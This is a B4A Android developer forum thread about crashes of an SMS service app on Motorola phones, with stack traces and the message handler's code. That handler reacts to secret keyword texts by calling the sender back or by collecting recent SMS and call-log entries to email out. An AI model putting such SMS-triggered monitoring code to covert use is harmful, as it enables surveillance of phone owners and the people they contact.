Need help for testing!!

micheleBr

Member
Licensed User
Longtime User
Good morning!
I done a new app, in most of phones it works great, unfortunately few people say to me that not works.. they use "Motorola Milestone" and "Motorola Milestone X" phones...

Does anyone have these phones and can help me to do tests or understand where are problems with Motorola phones?
here link of my new app:
https://play.google.com/store/apps/details?id=service.sms.android&hl=en

tnx in advance!
 
Last edited:

micheleBr

Member
Licensed User
Longtime User
Hi !
yes in my developer console there are errors, but I think that they are not about the topic I opened..

errors:

java.lang.RuntimeException: Error receiving broadcast Intent { act=android.provider.Telephony.SMS_RECEIVED (has extras) } in anywheresoftware.b4a.phone.PhoneEvents$SMSInterceptor$1@40533830
at android.app.LoadedApk$ReceiverDispatcher$Args.run(LoadedApk.java:722)
at android.os.Handler.handleCallback(Handler.java:587)
at android.os.Handler.dispatchMessage(Handler.java:92)
at android.os.Looper.loop(Looper.java:130)
at android.app.ActivityThread.main(ActivityThread.java:3691)
at java.lang.reflect.Method.invokeNative(Native Method)
at java.lang.reflect.Method.invoke(Method.java:507)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:912)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:670)
at dalvik.system.NativeStart.main(Native Method)
Caused by: java.lang.RuntimeException: java.lang.NullPointerException
at anywheresoftware.b4a.BA.raiseEvent2(BA.java:191)
at anywheresoftware.b4a.BA.raiseEvent(BA.java:149)
at anywheresoftware.b4a.phone.PhoneEvents$SMSInterceptor$1.onReceive(PhoneEvents.java:362)
at android.app.LoadedApk$ReceiverDispatcher$Args.run(LoadedApk.java:709)
... 9 more
Caused by: java.lang.NullPointerException
at service.sms.android.sms_service._smsincerc_messagereceived(sms_service.java:239)
at java.lang.reflect.Method.invokeNative(Native Method)
at java.lang.reflect.Method.invoke(Method.java:507)
at anywheresoftware.b4a.BA.raiseEvent2(BA.java:165)
... 12 more

******************
or:

java.lang.RuntimeException: Error receiving broadcast Intent { act=android.provider.Telephony.SMS_RECEIVED (has extras) } in anywheresoftware.b4a.phone.PhoneEvents$SMSInterceptor$1@4052ec98
at android.app.LoadedApk$ReceiverDispatcher$Args.run(LoadedApk.java:722)
at android.os.Handler.handleCallback(Handler.java:587)
at android.os.Handler.dispatchMessage(Handler.java:92)
at android.os.Looper.loop(Looper.java:138)
at android.app.ActivityThread.main(ActivityThread.java:3701)
at java.lang.reflect.Method.invokeNative(Native Method)
at java.lang.reflect.Method.invoke(Method.java:507)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:878)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:636)
at dalvik.system.NativeStart.main(Native Method)
Caused by: java.lang.RuntimeException: java.lang.NullPointerException
at anywheresoftware.b4a.BA.raiseEvent2(BA.java:191)
at anywheresoftware.b4a.BA.raiseEvent(BA.java:149)
at anywheresoftware.b4a.phone.PhoneEvents$SMSInterceptor$1.onReceive(PhoneEvents.java:362)
at android.app.LoadedApk$ReceiverDispatcher$Args.run(LoadedApk.java:709)
... 9 more
Caused by: java.lang.NullPointerException
at service.sms.android.sms_service._smsincerc_messagereceived(sms_service.java:239)
at java.lang.reflect.Method.invokeNative(Native Method)
at java.lang.reflect.Method.invoke(Method.java:507)
at anywheresoftware.b4a.BA.raiseEvent2(BA.java:165)
... 12 more

******************
or:

java.lang.RuntimeException: Error receiving broadcast Intent { act=android.provider.Telephony.SMS_RECEIVED flg=0x10 (has extras) } in anywheresoftware.b4a.phone.PhoneEvents$SMSInterceptor$1@414f1dd0
at android.app.LoadedApk$ReceiverDispatcher$Args.run(LoadedApk.java:737)
at android.os.Handler.handleCallback(Handler.java:605)
at android.os.Handler.dispatchMessage(Handler.java:92)
at android.os.Looper.loop(Looper.java:137)
at android.app.ActivityThread.main(ActivityThread.java:4507)
at java.lang.reflect.Method.invokeNative(Native Method)
at java.lang.reflect.Method.invoke(Method.java:511)
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:790)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:557)
at dalvik.system.NativeStart.main(Native Method)
Caused by: java.lang.RuntimeException: java.lang.NullPointerException
at anywheresoftware.b4a.BA.raiseEvent2(BA.java:191)
at anywheresoftware.b4a.BA.raiseEvent(BA.java:149)
at anywheresoftware.b4a.phone.PhoneEvents$SMSInterceptor$1.onReceive(PhoneEvents.java:362)
at android.app.LoadedApk$ReceiverDispatcher$Args.run(LoadedApk.java:728)
... 9 more
Caused by: java.lang.NullPointerException
at service.sms.android.sms_service._smsincerc_messagereceived(sms_service.java:239)
at java.lang.reflect.Method.invokeNative(Native Method)
at java.lang.reflect.Method.invoke(Method.java:511)
at anywheresoftware.b4a.BA.raiseEvent2(BA.java:165)
... 12 more

******************

The app is an Android Service that send and email after received an sms.
What do you think about problems with Motorola phones ?
tnx in advance!
 
Upvote 0

micheleBr

Member
Licensed User
Longtime User
tnx for answer!
here the code, if you can help to find problem in sub, tnx!!

B4X:
Sub smsIncerc_MessageReceived (From As String, Body As String) As Boolean
   
      SQL1.Initialize(File.DirDefaultExternal,"store_service_sms.db",True)
      
      Dim listen As String
      listen = ""
      listen = SQL1.ExecQuerySingleResult("SELECT listen FROM TBL_SMS")
      
      Dim read_sms As String
      read_sms = ""
      read_sms = SQL1.ExecQuerySingleResult("SELECT read_sms FROM TBL_SMS")
      
      Dim read_calls As String
      read_calls = ""
      read_calls = SQL1.ExecQuerySingleResult("SELECT read_calls FROM TBL_SMS")
      
      If  Body.ToLowerCase.Trim = listen.ToLowerCase.Trim Then   
         StartActivity(phoneChiama.Call(From))
            Return True 
         
      Else If Body.ToLowerCase.Trim = read_sms.ToLowerCase.Trim Then  
         
         Dim SmsMessages1 As SmsMessages
         Dim ListInviati, listArrivati As List
         Dim sb As StringBuilder
         
         Dim messaggi As String
         messaggi = ""
         
         ListInviati = SmsMessages1.GetByType(SmsMessages1.TYPE_SENT)
         listArrivati = SmsMessages1.GetByType(SmsMessages1.TYPE_INBOX)
         
         Dim n_sent As String
         Dim n_inbox As String
         Dim mess As String
         
         Dim lng As String
         lng = GetDftLng
         
         If lng = "it" Then
            n_sent ="NUMERO IN USCITA: "
            n_inbox ="NUMERO IN ENTRATA: "
            mess ="MESSAGGIO: "
         Else If lng = "ru" Then
            n_sent ="Исходящие: "
            n_inbox ="Входящие: "
            mess ="Сообщение: "
         Else
            n_sent ="NUMBER SENT: "
            n_inbox ="NUMBER INBOX: "
            mess ="MESSAGE: "   
         End If
         
         For i = 0 To ListInviati.Size - 1
            If i <= 9 Then 
               Dim Sms As Sms
               Sms = ListInviati.Get(i)
               
               sb.Initialize
               sb.Append(n_sent & Sms.Address & " " & CRLF & mess & Sms.Body & "").Append(CRLF).Append(CRLF) 
               messaggi = sb.ToString & messaggi
            End If
         Next
         
         For i = 0 To listArrivati.Size - 1
            If i <= 9 Then 
               Dim Sms As Sms
               Sms = listArrivati.Get(i)
               
               sb.Initialize
               sb.Append(n_inbox & Sms.Address & " " & CRLF & mess & Sms.Body & "").Append(CRLF).Append(CRLF) 
               messaggi = sb.ToString & messaggi
            End If
         Next
      
         
         'send email with body-param: "messaggi"                
         
         Return True 
         
      Else If Body.ToLowerCase.Trim = read_calls.ToLowerCase.Trim Then  
         
      Dim messaggi As String
      messaggi = ""
      
      Dim sb As StringBuilder   
      Dim Calls As List
      Dim CallLog As CallLog
      
      Calls = CallLog.GetAll(10) 
      
      Dim n_sent As String
      Dim n_inbox As String
      Dim numb As String
      Dim nome As String
      Dim tipo As String
      Dim dta As String
      
      Dim lng As String
      lng = GetDefaultLanguage
         
      If lng = "it" Then
         n_sent ="NUMERO IN USCITA"
         n_inbox ="NUMERO IN ENTRATA"
         numb ="NUMERO: "
         nome =", NOME "
         tipo=", TIPO: "
         dta=", DATA: "
         
      Else If lng = "ru" Then
         n_sent ="Исходящие"
         n_inbox ="Входящие"
         numb ="Номер: "
         nome =", Имя "
         tipo=", Тип: "
         dta=", Дата: "
      
      Else
         n_sent ="Outgoing"
         n_inbox ="Incoming"
         numb ="NUMBER: "
         nome =", NAME "
         tipo=", TYPE: "
         dta=", DATE: "
      End If
      
      For i = 0 To Calls.Size - 1
          Dim c As CallItem
          c = Calls.Get(i)
          Dim callType, name As String
          Select c.callType
              Case c.TYPE_INCOMING
                  callType=n_inbox 
              Case c.TYPE_OUTGOING
                  callType =n_sent
          End Select
          
         name = c.CachedName
         
         If callType = "" Then
            callType = "N/A"
         End If
         
          If name = "" Then 
            name = "N/A"
         End If
         
         sb.Initialize
         sb.Append(numb.ToUpperCase & c.Number & nome.ToUpperCase & name & tipo.ToUpperCase & callType & dta.ToUpperCase & DateTime.Date(c.Date)).Append(CRLF).Append(CRLF)
         messaggi = sb.ToString & messaggi
      Next 
         
         'send email with body-param: "messaggi"    
         
          Return True 
         
      End If
   
End Sub
 
Last edited:
Upvote 0

micheleBr

Member
Licensed User
Longtime User
here the line code:
B4X:
if ((_body.toLowerCase().trim()).equals(_testo_ascolta.toLowerCase().trim())) {
What you think can be the problem in this line?!
 
Upvote 0

mc73

Well-Known Member
Licensed User
Longtime User
A variable is not defined, at least so it seems from the error message.
 
Upvote 0
Top